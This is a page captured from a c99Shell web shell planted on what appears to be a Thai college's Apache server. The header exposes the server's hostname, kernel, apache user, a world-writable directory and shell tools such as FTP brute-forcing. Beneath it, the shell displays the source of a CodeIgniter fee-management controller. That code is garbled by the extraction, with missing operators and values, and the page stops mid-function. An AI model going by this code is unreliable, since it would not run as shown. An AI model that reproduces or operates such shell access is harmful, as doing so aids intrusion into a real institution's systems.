!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/eregis-12022565/   drwxrwxrwx
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fee.php (46.77 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('rg_controller.php');
$file_name dirname(dirname(__FILE__)).'/version_server/ver_query.php';
if(
file_exists($file_name))
    include_once(
$file_name);

class 
fee extends Rg_controller {
//    function __construct() {
//        parent::__construct();
//    }

    // ##### start ประเภทค่าใช้จ่าย ที่สบช./วิทยาลัยกำหนด
    
function showCommonFeeTp() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['rs_sy'] = $this->sy->get_options();
        
$this->contents['rs_tm'] = $this->tm->get_options('','','','n');

        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->contents['tm'] = $this->session->userdata('tmId');

        
$this->output($this->config->item("rg_folder")."v_showCommonFeeTp");
    }
    function 
addCommonFeeTp() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('acY',' ','trim|required|is_natural_no_zero|callback_checkAcY|xss_clean');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        if(
$this->input->post('acY') >= $this->config->item('reviseY')) {
            
$this->form_validation->set_rules('adY',' ','callback_checkAdY');
            
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');
        } else {
            
$this->form_validation->set_rules('adY',' ','trim|xss_clean');
            
$this->form_validation->set_rules('syId',' ','trim|xss_clean');
        }

        if(
$this->form_validation->run() == true) {
            
$this->cmft_input();
        } else {
            
$this->showCommonFeeTp();
        }
    }
    function 
cmft_input($flg='') {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_fee','fee');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_commonfeetp','cmft');

        
$acY $this->input->post('acY');
        
$tmId $this->input->post('tmId');
        
$adY $this->input->post('adY');
        
$syId $this->input->post('syId');
        
$feeId $this->input->post('feeId');
        
$this->contents['flg'] = '';

        if(
$flg==1) {
            
$this->contents['qu_cmft'] = NULL;
            
$this->contents['flg'] = $flg;
        } else {
            
$con_qu_cmft = array('cmftAdY'        => $adY,    
                                 
'cmftTmId'        => $tmId,
                                 
'cmftAcY'        => $acY,
                                 
'cmftSyId'        => $syId,
                                 
'cmftFeeId'    => $feeId);
            
//$this->contents['qu_cmft'] = $this->cmft->get_by_key();
            
$this->contents['qu_cmft'] = $this->cmft->qryCmftJoinFee($con_qu_cmft);
        }

        
$this->contents['acY'] = $acY;
        
$this->contents['adY'] = $adY;

        
$this->sy->syId $syId;
        
$this->contents['qu_sy'] = $this->sy->get_by_key();

        
$this->tm->tmId $tmId;
        
$this->contents['qu_tm'] = $this->tm->get_by_key();

        
$ord_rs_fee = array('feeName'    => '');
        
$rs_fee $this->fee->qryFee('',$ord_rs_fee);
        if(
$rs_fee->num_rows()) {
            
$opt[''] = '';
            foreach(
$rs_fee->result() as $row) {
                
$flgShow 0;

                if(
$row->feePytId==1) {                // ครั้งเดียวตลอดหลักสูตร
                    
if($tmId==1)
                        
$flgShow 1;
                } else if(
$row->feePytId==2) {        // ทุกปีการศึกษา
                    
if($tmId==1)
                        
$flgShow 1;
                } else if(
$row->feePytId==3) {        // ทุกภาคการศึกษา
                    
$flgShow 1;
                } else if(
$row->feePytId==4) {        // เฉพาะภาค 1
                    
if($tmId==1)
                        
$flgShow 1;
                } else if(
$row->feePytId==5) {        // เฉพาะภาค 2
                    
if($tmId==2)
                        
$flgShow 1;
                } else if(
$row->feePytId==6) {        // เฉพาะภาค 3
                    
if($tmId==3)
                        
$flgShow 1;
                } else if(
$row->feePytId==7) {        // เฉพาะภาค 1, 2
                    
if($tmId==|| $tmId==2)
                        
$flgShow 1;
                }

                if(
$flgShow==&& $row->feeCalType=='N') {
                    
$opt[$row->feeId] = $row->feeName;
                }
            }
        }
        
$this->contents['rs_fee'] = $opt;

        
$con_rs_cmft = array('cmftAcY'    => $acY,
                             
'cmftTmId'    => $tmId,
                             
'cmftAdY'    => ($adY=='') ? '0' $adY,
                             
'cmftSyId'    => ($syId=='') ? '0' $syId);
        
$ord_rs_cmft = array('feeName'    => '');
        
$this->contents['rs_cmft'] = $this->cmft->qryCmftJoinFee($con_rs_cmft$ord_rs_cmft);

        
$this->output($this->config->item("rg_folder")."v_addCommonFeeTp");
    }
    function 
cmft_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('cmftFeeId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('cmftIsDom',' ','trim|xss_clean');
//        $this->form_validation->set_rules('cmftAmt',' ','trim|required|integer|is_natural_no_zero|callback_checkInt|xss_clean');

        
if($this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_commonfeetp','cmft');

            
$this->db->trans_begin();
            
$cmftAdY $this->input->post('adY');
            
$cmftSyId $this->input->post('syId');
            
$cmftAcY $this->input->post('acY');
            
$cmftTmId $this->input->post('tmId');
            
$cmftFeeId $this->input->post('cmftFeeId');
            
$cmftIsDom $this->input->post('cmftIsDom');
            
$cmftAmt $this->input->post('cmftAmt');

            
$con_rs_cmft = array('cmftAdY'        => $cmftAdY,
                                 
'cmftSyId'        => $cmftSyId,
                                 
'cmftAcY'        => $cmftAcY,
                                 
'cmftTmId'        => $cmftTmId,
                                 
'cmftFeeId'    => $cmftFeeId,
                                 
'cmftAmt'        => $cmftAmt,
                                 
'cmftIsDom'    => ($cmftIsDom!='Y') ? 'N' $cmftIsDom);
            
$rs_cmft $this->cmft->qryCmft($con_rs_cmft,'','');
            if(!
$rs_cmft->num_rows()) {
                
$this->cmft->cmftAdY $cmftAdY;
                
$this->cmft->cmftSyId $cmftSyId;
                
$this->cmft->cmftAcY $cmftAcY;
                
$this->cmft->cmftTmId $cmftTmId;
                
$this->cmft->cmftFeeId $cmftFeeId;
                
$this->cmft->cmftAmt $cmftAmt;
                
$this->cmft->cmftIsDom = ($cmftIsDom!='Y') ? 'N' $cmftIsDom;

                if(
$this->input->post('flg_update')=='') {
                    if (
class_exists('Ver_query')) {
                        
Ver_query::setOldVal($this->cmft$this->config->item('rg_dbname').'.rg_CommonFeeTp');
                    }

                    
$this->cmft->insert();
                    if (
class_exists('Ver_query')) {
                        
Ver_query::saveQuery($this->cmft$this->db->last_query());
                    }
                } else {
                    
$this->cmft->get_by_key(TRUE);
                    if (
class_exists('Ver_query')) {
                        
Ver_query::setOldVal($this->cmft$this->config->item('rg_dbname').'.rg_CommonFeeTp');
                    }

                    
/*$this->cmft->cmftAdY = $cmftAdY;
                    $this->cmft->cmftSyId = $cmftSyId;
                    $this->cmft->cmftAcY = $cmftAcY;
                    $this->cmft->cmftTmId = $cmftTmId;
                    $this->cmft->cmftFeeId = $cmftFeeId;*/
                    
$this->cmft->cmftFeeId $cmftFeeId;
                    
$this->cmft->cmftAmt $cmftAmt;

                    
$this->cmft->update();
                    if (
class_exists('Ver_query')) {
                        
Ver_query::saveQuery($this->cmft$this->db->last_query());
                    }
                }
            }

            if(
$this->db->trans_status() === false)
                
$this->db->trans_rollback();
            else
                
$this->db->trans_commit();

            
            
$this->cmft_input(1);
        } else {
            
$this->cmft_input();
        }
    }
    function 
cmft_delete() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_commonfeetp','cmft');

        
$adY $this->input->post('adY');
        
$syId $this->input->post('syId');
        
$acY $this->input->post('acY');
        
$tmId $this->input->post('tmId');
        
$feeId $this->input->post('feeId');

        
$this->db->trans_begin();
        
$this->cmft->cmftAdY $adY;
        
$this->cmft->cmftSyId $syId;
        
$this->cmft->cmftAcY $acY;
        
$this->cmft->cmftTmId $tmId;
        
$this->cmft->cmftFeeId $feeId;
        if (
class_exists('Ver_query')) {
            
Ver_query::setOldVal($this->cmft$this->config->item('rg_dbname').'.rg_CommonFeeTp');
        }

        
$this->cmft->delete();
        if (
class_exists('Ver_query')) {
            
Ver_query::saveQuery($this->cmft$this->db->last_query());
        }

        if (
$this->db->trans_status() === false) {
            
$this->db->trans_rollback();
        } else {
            
$this->db->trans_commit();
        }

        
$this->cmft_input();
    }
    
// ##### end ประเภทค่าใช้จ่าย ที่สบช./วิทยาลัยกำหนด
    // ##### start ประเภทค่าใช่จ่ายตามหลักสูตร
    
function showCurriculumFeeTp() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => 'ASC');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,$ord_rs_cur,'','y');
        
$this->contents['rs_sy'] = $this->sy->get_options('','','','y');
        
$this->contents['rs_tm'] = $this->tm->get_options('','','','n');

        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->contents['tmId'] = $this->session->userdata('tmId');

        
$this->output($this->config->item("rg_folder")."v_showCurriculumFeeTp");
    }
    function 
addCurriculumFeeTp() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('acY',' ','callback_checkAcY');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        if(
$this->input->post('acY') >= $this->config->item('reviseY')) {
            
$this->form_validation->set_rules('adY',' ','callback_checkAdY');
            
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');
        } else {
            
$this->form_validation->set_rules('adY',' ','trim|xss_clean');
            
$this->form_validation->set_rules('syId',' ','trim|xss_clean');
        }

        if(
$this->form_validation->run() == true) {
            
$this->cft_input();
        } else {
            
$this->showCurriculumFeeTp();
        }
    }
    function 
cft_input($flg='') {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumfeetp','cft');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_fee','fee');

        
$curId $this->input->post('curId');
        
$tmId $this->input->post('tmId');
        
$acY $this->input->post('acY');
        
$syId $this->input->post('syId');
        
$adY $this->input->post('adY');
        
$feeId $this->input->post('feeId');
        
$this->contents['flg'] = '';

        if(
$flg==1) {
            
$this->contents['qu_cft'] = NULL;
            
$this->contents['flg'] = $flg;
        } else {
            
$con_qu_cft = array('cftCurId'    => $curId,
                                
'cftTmId'    => $tmId,
                                
'cftFeeId'    => $feeId,
                                
'cftSyId'    => $syId,
                                
'cftAdY'    => $adY,
                                
'cftAcY'    => $acY);
//            $this->cft->cftCurId = $curId;
//            $this->cft->cftTmId = $tmId;
//            $this->cft->cftFeeId = $feeId;
//            $this->cft->cftSyId = $syId;
//            $this->cft->cftAdY = $adY;
//            $this->cft->cftAcY = $acY;
            
            //$this->contents['qu_cft'] = $this->cft->get_by_key();
            
$this->contents['qu_cft'] = $this->cft->qryCftJoinFee($con_qu_cft);

            
        }

        
$this->contents['acY'] = $acY;
        
$this->contents['adY'] = $adY;
        
$this->cur->curId $curId;
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->tm->tmId $tmId;
        
$this->contents['qu_tm'] = $this->tm->get_by_key();

        
$this->sy->syId $syId;
        
$this->contents['qu_sy'] = $this->sy->get_by_key();

        
$ord_rs_fee = array('feeName'    => ' ');
        
$rs_fee $this->fee->qryFee('',$ord_rs_fee,'');
        if(
$rs_fee->num_rows()) {
            
$opt[''] = '';
            foreach(
$rs_fee->result() as $row) {
                
$flgShow 0;

                if(
$row->feePytId==1) {                // ครั้งเดียวตลอดหลักสูตร
                    
if($tmId==1)
                        
$flgShow 1;
                } else if(
$row->feePytId==2) {        // ทุกปีการศึกษา
                    
if($tmId==1)
                        
$flgShow 1;
                } else if(
$row->feePytId==3) {        // ทุกภาคการศึกษา
                    
$flgShow 1;
                } else if(
$row->feePytId==4) {        // เฉพาะภาค 1
                    
if($tmId==1)
                        
$flgShow 1;
                } else if(
$row->feePytId==5) {        // เฉพาะภาค 2
                    
if($tmId==2)
                        
$flgShow 1;
                } else if(
$row->feePytId==6) {        // เฉพาะภาค 3
                    
if($tmId==3)
                        
$flgShow 1;
                } else if(
$row->feePytId==7) {        // เฉพาะภาค 1, 2
                    
if($tmId==|| $tmId==2)
                        
$flgShow 1;
                }

                if(
$flgShow==&& $row->feeCalType=='N') {
                    
$opt[$row->feeId] = $row->feeName;
                }
            }
        }
        
$this->contents['rs_fee'] = $opt;

        
$con_rs_cft = array('cftCurId'    => $curId,
                            
'cftAcY'    => $acY,
                            
'cftTmId'    => $tmId,
                            
'cftSyId'    => ($syId=='') ? '0' $syId,
                            
'cftAdY'    => ($adY=='') ? '0' $adY);
        
$ord_rs_cft = array('feeName'    => ' ');
        
$this->contents['rs_cft'] = $this->cft->qryCftJoinFee($con_rs_cft,$ord_rs_cft,'');

        
$this->output($this->config->item("rg_folder")."v_addCurriculumFeeTp");
    }
    function 
cft_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('acY',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('adY',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('cftFeeId',' ','trim|required|xss_clean');
//        $this->form_validation->set_rules('cftAmt',' ','trim|required|integer|is_natural_no_zero|callback_checkInt|xss_clean');

        
if($this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumfeetp','cft');

            
$this->db->trans_begin();
            
$curId $this->input->post('curId');
            
$acY $this->input->post('acY');
            
$tmId $this->input->post('tmId');
            
$adY $this->input->post('adY');
            
$syId $this->input->post('syId');
            
$cftFeeId $this->input->post('cftFeeId');
            
$cftAmt $this->input->post('cftAmt');

            if(
$this->input->post('flg_update')=='') {
                
$this->cft->cftCurId $curId;
                
$this->cft->cftTmId $tmId;
                
$this->cft->cftFeeId $cftFeeId;
                
$this->cft->cftSyId $syId;
                
$this->cft->cftAdY $adY;
                
$this->cft->cftAcY $acY;
                
$rs_cft $this->cft->get_by_key();
            } else {
                
$con_rs_cft = array('cftCurId'    => $curId,
                                    
'cftTmId'    => $tmId,
                                    
'cftFeeId'    => $cftFeeId,
                                    
'cftSyId'    => $syId,
                                    
'cftAdY'    => $adY,
                                    
'cftAcY'    => $acY,
                                    
'cftAmt'    => $cftAmt);
                
$rs_cft $this->cft->qryCft($con_rs_cft,'','');
            }

            if(!
$rs_cft->num_rows()) {
                
$this->cft->cftCurId $curId;
                
$this->cft->cftTmId $tmId;
                
$this->cft->cftFeeId $cftFeeId;
                
$this->cft->cftSyId $syId;
                
$this->cft->cftAdY $adY;
                
$this->cft->cftAcY $acY;
                
$this->cft->cftAmt $cftAmt;

                if(
$this->input->post('flg_update')=='') {
                    
$this->cft->insert();
                } else {
                    
$this->cft->update();
                }
            }

            if(
$this->db->trans_status() === false)
                
$this->db->trans_rollback();
            else
                
$this->db->trans_commit();

            
$this->cft_input(1);
        } else {
            
$this->cft_input();
        }
    }
    function 
cft_delete() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculumfeetp','cft');
        
        
$curId $this->input->post('curId');
        
$adY $this->input->post('adY');
        
$acY $this->input->post('acY');
        
$syId $this->input->post('syId');
        
$tmId $this->input->post('tmId');
        
$feeId $this->input->post('feeId');

        
$this->cft->cftCurId $curId;
        
$this->cft->cftAdY $adY;
        
$this->cft->cftAcY $acY;
        
$this->cft->cftSyId $syId;
        
$this->cft->cftTmId $tmId;
        
$this->cft->cftFeeId $feeId;
        
$this->cft->delete();

        
$this->cft_input();
    }
    
// ##### end ประเภทค่าใช่จ่ายตามหลักสูตร

    // ##### start ประเภทค่าหน่วยกิต
    
function showCourseFeeTp() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => 'ASC');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,$ord_rs_cur,'','y');
        
$this->contents['rs_sy'] = $this->sy->get_options('','','','y');
        
$this->contents['rs_tm'] = $this->tm->get_options('','','','n');

        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->contents['tmId'] = $this->session->userdata('tmId');

        
$this->output($this->config->item("rg_folder")."v_showCourseFeeTp");
    }
    function 
addCourseFeeTp() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('acY',' ','callback_checkAcY');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        if(
$this->input->post('acY') >= $this->config->item('reviseY')) {
            
$this->form_validation->set_rules('adY',' ','callback_checkAdY');
            
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');
        } else {
            
$this->form_validation->set_rules('adY',' ','trim|xss_clean');
            
$this->form_validation->set_rules('syId',' ','trim|xss_clean');
        }

        if(
$this->form_validation->run() == true) {
            
$this->crft_input();
        } else {
            
$this->showCourseFeeTp();
        }
    }
    function 
crft_input() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_coursefeetp','crft');

        
$curId $this->input->post('curId');
        
$acY $this->input->post('acY');
        
$tmId $this->input->post('tmId');
        
$adY $this->input->post('adY');
        
$syId $this->input->post('syId');

        
$this->contents['acY'] = $acY;
        
$this->contents['adY'] = $adY;

        
$this->cur->curId $curId;
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->sy->syId $syId;
        
$this->contents['qu_sy'] = $this->sy->get_by_key();

        
$this->tm->tmId $tmId;
        
$this->contents['qu_tm'] = $this->tm->get_by_key();

        
$this->crft->crftCurId $curId;
        
$this->crft->crftAcY $acY;
        
$this->crft->crftTmId $tmId;
        
$this->crft->crftAdY = ($adY=='') ? $adY;
        
$this->crft->crftSyId = ($syId=='') ? $syId;
        
$this->contents['qu_crft'] = $this->crft->get_by_key();

        
$this->output($this->config->item("rg_folder")."v_addCourseFeeTp");
    }
    function 
crft_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('acY',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('adY',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('crftLateFine',' ','trim|required|integer|xss_clean');
        
$this->form_validation->set_rules('crftLateFineUnit',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('crftLecCreditFee',' ','trim|required|integer|xss_clean');
        
$this->form_validation->set_rules('crftLabCreditFee',' ','trim|required|integer|xss_clean');
        
$this->form_validation->set_rules('crftMaxLateFine',' ','trim|required|integer|xss_clean');
        
$this->form_validation->set_rules('crftKssFee',' ','trim|required|integer|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->load->model($this->config->item("rg_folder").'mo_rg_coursefeetp','crft');

            
$this->crft->crftCurId $this->input->post('curId');
            
$this->crft->crftAcY $this->input->post('acY');
            
$this->crft->crftTmId $this->input->post('tmId');
            
$this->crft->crftAdY $this->input->post('adY');
            
$this->crft->crftSyId $this->input->post('syId');
            
$qu_crft $this->crft->get_by_key();

            
$this->db->trans_begin();
            if(!
$qu_crft->num_rows()) {
                
$this->crft->crftCurId $this->input->post('curId');
                
$this->crft->crftAcY $this->input->post('acY');
                
$this->crft->crftAdY $this->input->post('adY');
                
$this->crft->crftSyId $this->input->post('syId');
                
$this->crft->crfTmId $this->input->post('tmId');
                
$this->crft->crftLecCreditFee $this->input->post('crftLecCreditFee');
                
$this->crft->crftLabCreditFee $this->input->post('crftLabCreditFee');
                
$this->crft->crftLateFine $this->input->post('crftLateFine');
                
$this->crft->crftLateFineUnit $this->input->post('crftLateFineUnit');
                
$this->crft->crftMaxLateFine $this->input->post('crftMaxLateFine');
                
$this->crft->crftKssFee $this->input->post('crftKssFee');
                
$this->crft->insert();

                if(
$this->input->post('tmId')==1) {
                    
$tmId $this->input->post('tmId');

                    
$this->crft->crftCurId $this->input->post('curId');
                    
$this->crft->crftAcY $this->input->post('acY');
                    
$this->crft->crftTmId $tmId+1;
                    
$this->crft->crftAdY $this->input->post('adY');
                    
$this->crft->crftSyId $this->input->post('syId');
                    
$crft2 $this->crft->get_by_key();

                    
$this->crft->crftCurId $this->input->post('curId');
                    
$this->crft->crftAcY $this->input->post('acY');
                    
$this->crft->crftTmId $tmId+2;
                    
$this->crft->crftAdY $this->input->post('adY');
                    
$this->crft->crftSyId $this->input->post('syId');
                    
$crft3 $this->crft->get_by_key();

                    if(!
$crft2->num_rows() && !$crft3->num_rows()) {
                        for(
$i=1$i<3$i++) {
                            
$this->crft->crftCurId $this->input->post('curId');
                            
$this->crft->crftAcY $this->input->post('acY');
                            
$this->crft->crftAdY $this->input->post('adY');
                            
$this->crft->crftSyId $this->input->post('syId');
                            
$this->crft->crftTmId $tmId+$i;
                            
$this->crft->crftLecCreditFee $this->input->post('crftLecCreditFee');
                            
$this->crft->crftLabCreditFee $this->input->post('crftLabCreditFee');
                            
$this->crft->crftLateFine $this->input->post('crftLateFine');
                            
$this->crft->crftLateFineUnit $this->input->post('crftLateFineUnit');
                            
$this->crft->crftMaxLateFine $this->input->post('crftMaxLateFine');
                            
$this->crft->crftKssFee $this->input->post('crftKssFee');
                            
$this->crft->insert();
                        }
                    }
                }
            } else {
                
$this->crft->get_by_key(TRUE);
                
$this->crft->crftLecCreditFee $this->input->post('crftLecCreditFee');
                
$this->crft->crftLabCreditFee $this->input->post('crftLabCreditFee');
                
$this->crft->crftLateFine $this->input->post('crftLateFine');
                
$this->crft->crftLateFineUnit $this->input->post('crftLateFineUnit');
                
$this->crft->crftMaxLateFine $this->input->post('crftMaxLateFine');
                
$this->crft->crftKssFee $this->input->post('crftKssFee');
                
$this->crft->update();
            }

            if(
$this->db->trans_status() === false)
                
$this->db->trans_rollback();
            else
                
$this->db->trans_commit();

            
redirect($this->config->item("rg_folder")."fee/showCourseFeeTp");
        } else {
            
$this->crft_input();
        }
    }
    
// ##### end ประเภทค่าหน่วยกิต

    // ##### start ค่าหอพัก
    
function showDomitoryFeeTp() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$this->contents['acY'] = $this->session->userdata('acY');
        
$this->contents['tmId'] = $this->session->userdata('tmId');
        
$this->contents['rs_tm'] = $this->tm->get_options('','','','n');

        
$this->output($this->config->item("rg_folder")."v_showDomitoryFeeTp");
    }
    function 
getDmRm($dmId='') {
        
$this->load->model($this->config->item("ppc_folder").'mo_spc_place''sp');

        
$options = array();
        
$options[''] = "";
        if (
$dmId) {
            
$this->sp->plBuilding $dmId;
            
$rs_sp $this->sp->getDmRm();
            foreach (
$rs_sp->result() as $row_sp) {
                
$options[$row_sp->plHwId] = $row_sp->plRmNo;
            }
        }
        
$js "id=\"dmRmId\"";
        echo 
form_dropdown('dmRmId'$options''$js);
    }
    function 
addDomitoryFeeTp() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('acY',' ','trim|interger|is_natural_no_zero|callback_checkAdY|xss_clean');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->dft_input();
        } else {
            
$this->showDomitoryFeeTp();
        }
    }
    function 
dft_input($flg='') {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_domitory','dm');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_domitoryfeetp','dft');

        
$this->load->model($this->config->item("ppc_folder").'mo_spc_place','sp');

        
// update
        
$acY $this->input->post('acY');
        
$tmId $this->input->post('tmId');
        
$dmId $this->input->post('dmId')? $this->input->post('dmId'):$this->input->post('dftDmId');
        
$this->contents['acY'] = $acY;
        
$this->contents['tmId'] = $tmId;
        
$this->contents['flg'] = '';

        if(
$flg==1) {
            
$this->contents['qu_dft'] = NULL;
            
$this->contents['flg'] = $flg;
        } else {
            
$con_qu_dft = array('dftAcY'    => $acY,
                            
'dftTmId'    => $tmId,
                            
'dftDmId'    => $dmId);
            
$qu_dft $this->dft->qryDftJoinFee($con_qu_dft);
            
$this->contents['qu_dft'] = $qu_dft;

            if(
$qu_dft->num_rows()>0){
                
$row $qu_dft->row(); 
                
$this->contents['type'] = $row->plBuilding;
                if(
$this->input->post('dmId') or $this->input->post('dftDmId')){
                    
$con_qu_sp = array('plHwId'    => $row->plBuilding);
                    
$qu_sp $this->sp->qryRm($con_qu_sp);
                    
$this->contents['qu_sp'] = $qu_sp;
                }
            }
        }

        
$this->contents['rs_dm'] = $this->sp->get_optionsdomitory();

        
$con_rs_dft = array('dftAcY'    => $acY,
                            
'dftTmId'    => $tmId);
        
$this->contents['rs_dft'] = $this->dft->qryDftJoinSpcPlace($con_rs_dft);

        
$this->output($this->config->item("rg_folder")."v_addDomitoryFeeTp");
    }
    function 
dft_insert_update() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('acY',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('tmId',' ','trim|required|xss_clean');
        
$this->form_validation->set_rules('dftDmId',' ','trim|required|xss_clean');
//        $this->form_validation->set_rules('dftAmt',' ','trim|required|integer|is_natural_no_zero|callback_checkInt|xss_clean');
        
$this->form_validation->set_rules('eq',' ','trim|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->db->trans_begin();
            
$this->load->model($this->config->item("ppc_folder").'mo_spc_place','sp');
            
$this->load->model($this->config->item("rg_folder").'mo_rg_domitoryfeetp','dft');

            
$acY $this->input->post('acY');
            
$tmId $this->input->post('tmId');
            
$dmId $this->input->post('dftDmId');
            
$dftDmId $this->input->post('dmRmId') ? $this->input->post('dmRmId') : $dmId;
            
$amt $this->input->post('dftAmt');
            
$eq $this->input->post('eq');

            if (
$eq) {
                
$this->sp->plBuilding $dmId;
                
$rs_sp $this->sp->getDmRm();
                foreach (
$rs_sp->result() as $row_sp) {
                    
// เช็คว่ามีการบันทึกแล้วหรือยัง
                    
$this->dft->dftTmId $tmId;
                    
$this->dft->dftAcY $acY;
                    
$this->dft->dftDmId $row_sp->plHwId;
                    
$this->dft->dftAmt $amt;
                    
$qu_dft $this->dft->get_by_key();
                    if (
$qu_dft->num_rows()) {
                        
$this->dft->update();
                    } else {
                        
$this->dft->insert();
                    }
                }    
// end foreach
            
}

            
// เช็คว่ามีการบันทึกแล้วหรือยัง
            
$this->dft->dftTmId $tmId;
            
$this->dft->dftAcY $acY;
            
$this->dft->dftDmId $dftDmId;
            
$this->dft->dftAmt $amt;
            
$qu_dft $this->dft->get_by_key();
            if (
$qu_dft->num_rows()) {
                
$this->dft->update();
            } else {
                
$this->dft->insert();
            }

            if (
$this->db->trans_status() === false)
                
$this->db->trans_rollback();
            else
                
$this->db->trans_commit();

            
$this->dft_input(1);
        } else {
            
$this->dft_input();
        }
    }
    public function 
dft_delete() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_domitoryfeetp','dft');
        
        
$acY $this->input->post('acY');
        
$tmId $this->input->post('tmId');

        
$this->dft->dftTmId $tmId;
        
$this->dft->dftDmId $this->input->post('dmId');
        
$this->dft->dftAcY $acY;
        
        
$this->dft->delete();
        
        
$this->dft_input(1);
    }
    
// ##### end ค่าหอพัก

    // ##### start ตรวจสอบรายการค่าลงทะเบียน ก่อนลงทะเบียน
    
function checkFee() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_term','tm');

        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => 'ASC');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur,$ord_rs_cur,'','y');
        
$this->contents['rs_sy'] = $this->sy->get_options('','','','y');
        
